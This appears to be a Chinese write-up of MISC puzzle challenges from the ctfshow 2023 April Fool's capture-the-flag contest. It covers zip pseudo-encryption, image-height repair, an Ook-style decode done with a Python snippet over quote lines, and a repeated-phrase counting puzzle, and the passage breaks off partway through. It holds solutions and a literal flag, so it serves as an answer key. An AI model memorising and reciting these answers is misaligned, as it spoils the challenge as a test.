ctfshow—2023愚人杯wp

ctfshow—2023愚人杯wp

热身

热身

100

愚人杯比赛秉承欢乐、有爱、进取的精神

在群里师傅热心帮助下,已经开始第三届比赛啦!

欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论、但是请不要py

正式比赛在 3月31日晚8点整开整

Happy April Fool’s Day!

本题flag是一个不能说的秘密

一个不能说的秘密

MISC

奇怪的压缩包

伪加密,图片里藏了一个压缩包

key base64解一下就是压缩包密码

ctfshow—2023愚人杯wp_第1张图片

压缩包里面一张图片,修改高度即可

ctfshow—2023愚人杯wp_第2张图片

哇库哇库2

阿尼亚会高数: 哇库哇库!

  1. key = Σ(1/(n!))
  2. "Σ(1/(n!))"为无穷级数
  3. 结果四舍五入保留十二位有效数字

问一问new bing

ctfshow—2023愚人杯wp_第3张图片

嗯,就是常数e的值

key = 2.71828182846

hint的文件头坏了屁股坏了还有crc坏了,再爆破宽高,修了一下提示GB2312,感觉没啥用

看到群里提示是ook,嗯,标点很明显

x = ["阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","好帅好帅!","阿尼亚棒吗?","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","交给我吧!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","阿尼亚好兴奋!","阿尼亚可爱吗?","阿尼亚要加油!","阿尼亚在学校也会加油的!","好想有个母亲爱我。","阿尼亚帅不帅?","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","哇酷哇酷?","阿尼亚必须加油!","我想永远和他们在一起。","阿尼亚棒吗?","父亲做菜很好吃。","多亏了父亲。","营救公主的间谍!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","是住在城堡里的奇美拉!","阿尼亚帅不帅?","救命呀!","救救我!劳埃德曼!","好想有个母亲爱我。","蓬蓬头?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","哇酷哇酷?","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚棒吗?","太好了!","都怪阿尼亚踩到了粑粑。","阿尼亚可爱吗?","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚一点也不在意。","阿尼亚帅不帅?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚在学校也会加油的!","蓬蓬头?","阿尼亚必须加油!","营救公主的间谍!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚可爱吗?","是住在城堡里的奇美拉!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚帅不帅?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","救命呀!","父亲和母亲甜甜蜜蜜。","蓬蓬头?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","救救我!劳埃德曼!","哇酷哇酷?","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","要是不向次子道歉,世界和平就完蛋了。","阿尼亚棒吗?","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚可爱吗?","欢迎来到阿尼亚家。","阿尼亚帅不帅?","阿尼亚想吃蛋包饭!","阿尼亚想穿这身衣服出萌。","蓬蓬头?","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","交给我吧!","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","父亲,阿尼亚合格啦!","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚好兴奋!","阿尼亚想穿这身衣服出萌。","哇酷哇酷?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","阿尼亚要加油!","阿尼亚棒吗?","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚帅不帅?","要是不向次子道歉,世界和平就完蛋了。","蓬蓬头?","可爱,可爱!","欢迎来到阿尼亚家。","哇酷哇酷?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","阿尼亚想穿这身衣服出萌。","阿尼亚棒吗?","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","父亲,母亲,有需要帮助的人!","阿尼亚可爱吗?","要帮助他!","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","蓬蓬头?","母亲是杀手。","哇酷哇酷?","花生!","父亲和母亲甜甜蜜蜜。","阿尼亚棒吗?","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","阿尼亚想吃蛋包饭!","父亲是间谍。","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","母亲是杀手。","阿尼亚可爱吗?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","营救公主的间谍!","阿尼亚帅不帅?","是住在城堡里的奇美拉!","救命呀!","欢迎来到阿尼亚家。","蓬蓬头?","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","哇酷哇酷?","阿尼亚不想要这个妈妈。","阿尼亚棒吗?","救救我!劳埃德曼!","父亲是间谍。","阿尼亚可爱吗?","阿尼亚好想看呀!","母亲是杀手。","阿尼亚帅不帅?","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","完美的劳埃德曼,好想看呀!","蓬蓬头?","看我必杀拳,砰!","好耶!","欢迎来到阿尼亚家。","哇酷哇酷?","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","阿尼亚棒吗?","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","可爱,可爱!","阿尼亚想去你家玩。","阿尼亚帅不帅?","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚好失落。","蓬蓬头?","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","好帅好帅!","哇酷哇酷?","可爱,可爱!","阿尼亚不想去上学了!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚棒吗?","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚可爱吗?","我想永远和他们在一起。","阿尼亚帅不帅?","救命呀!","父亲做菜很好吃。","蓬蓬头?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","多亏了父亲。","哇酷哇酷?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚想吃蛋包饭!","阿尼亚棒吗?","警惕!","阿尼亚想像母亲一样厉害!","阿尼亚喜欢厉害又帅气的母亲。","阿尼亚可爱吗?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚帅不帅?","我想永远和他们在一起。","蓬蓬头?","好帅好帅!","父亲做菜很好吃。","哇酷哇酷?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","可爱,可爱!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","阿尼亚不想去上学了!","阿尼亚可爱吗?","交给我吧!","父亲,阿尼亚合格啦!","父亲做菜很好吃。","阿尼亚帅不帅?","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","蓬蓬头?","多亏了父亲。","哇酷哇酷?","救命呀!","太好了。","阿尼亚棒吗?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","母亲,给阿尼亚做特训吧。","阿尼亚可爱吗?","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","看我必杀拳,砰!","阿尼亚帅不帅?","好耶!","父亲,母亲,有需要帮助的人!","阿尼亚喜欢厉害又帅气的母亲。","蓬蓬头?","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","哇酷哇酷?","会没事的。","阿尼亚棒吗?","要帮助他!","父亲和母亲都很有趣,我最喜欢他们了。","阿尼亚可爱吗?","我想永远和他们在一起。","父亲做菜很好吃。","太好了!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","花生!","蓬蓬头?","阿尼亚想吃蛋包饭!","警惕!","父亲是间谍。","哇酷哇酷?","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","阿尼亚棒吗?","母亲是杀手。","阿尼亚可爱吗?","救命呀!","父亲和母亲甜甜蜜蜜。","阿尼亚帅不帅?","救救我!劳埃德曼!","阿尼亚好想看呀!","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","会没事的。","蓬蓬头?","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚好想看呀!","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","阿尼亚一点也不在意。","阿尼亚棒吗?","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚可爱吗?","阿尼亚想去你家玩。","阿尼亚帅不帅?","好耶!","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","蓬蓬头?","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","父亲,母亲,有需要帮助的人!","太好了。","哇酷哇酷?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","要帮助他!","阿尼亚棒吗?","太好了!","花生!","我想永远和他们在一起。","阿尼亚可爱吗?","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","阿尼亚在学校也会加油的!","阿尼亚必须加油!","营救公主的间谍!","是住在城堡里的奇美拉!","救命呀!","救救我!劳埃德曼!","阿尼亚帅不帅?","父亲做菜很好吃。","蓬蓬头?","阿尼亚好想看呀!","多亏了父亲。","哇酷哇酷?","完美的劳埃德曼,好想看呀!","看我必杀拳,砰!","好耶!","父亲,母亲,有需要帮助的人!","要帮助他!","太好了!","花生!","阿尼亚想吃蛋包饭!","警惕!","阿尼亚想像母亲一样厉害!","好帅好帅!","可爱,可爱!","阿尼亚不想去上学了!","交给我吧!","父亲,阿尼亚合格啦!","阿尼亚好兴奋!","阿尼亚要加油!","太好了。","阿尼亚棒吗?","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","阿尼亚在学校也会加油的!","阿尼亚可爱吗?","阿尼亚必须加油!","营救公主的间谍!","多亏了父亲。","阿尼亚帅不帅?","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","蓬蓬头?","我想永远和他们在一起。","哇酷哇酷?","是住在城堡里的奇美拉!","父亲做菜很好吃。","阿尼亚棒吗?","多亏了父亲。","太好了。","母亲,给阿尼亚做特训吧。","要是不向次子道歉,世界和平就完蛋了。","欢迎来到阿尼亚家。","阿尼亚想穿这身衣服出萌。","阿尼亚想去你家玩。","阿尼亚从孤儿院出来以后,遇到了好多开心的事。","阿尼亚好失落。","好想有个母亲爱我。","阿尼亚喜欢厉害又帅气的母亲。","都怪阿尼亚踩到了粑粑。","阿尼亚一点也不在意。","阿尼亚不想要这个妈妈。","父亲是间谍。","母亲是杀手。","父亲和母亲甜甜蜜蜜。","会没事的。","父亲和母亲都很有趣,我最喜欢他们了。","我想永远和他们在一起。","父亲做菜很好吃。","多亏了父亲。","救命呀!","太好了。","阿尼亚可爱吗?","母亲,给阿尼亚做特训吧。"]
y = ''.join([i[-1]for i in x]).replace('。','.').replace('?','?').replace('!','!')
print(y)
..................!?!!.?..................?.?!.?....................................!.?.........!?!!.?........?.?!.?..!.?.......!?!!.?!!!!!!?.?!.?!!!!!!!!!!!.?.......!?!!.?......?.?!.?........!.?.......!?!!.?!!!!!!?.?!.?!!!!!...............!.................!.........!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..................!.!!!!!!!!!!!.?.........!?!!.?........?.?!.?!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.!!!!!.?.........!?!!.?!!!!!!!!?.?!.?!!!!!!!!!.?.........!?!!.?........?.?!.?............!.?.......!?!!.?!!!!!!?.?!.?!!!.?.......!?!!.?......?.?!.?..!.?.............!?!!.?!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!!!!!!!!!.?...............!?!!.?..............?.?!.?..............!.?.................!?!!.?!!!!!!!!!!!!!!!!?.?!.?!!!!!!!!!!!!!!!!!.?...................!?!!.?..................?.?!.?......................!.?.

ctfshow—2023愚人杯wp_第4张图片

ctfshow{4niya_KaWa1i!}

琴柳感

给了一段文本,一直重复某些话,先把它分离出来,再看看每句话出现了多少次

x = "我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受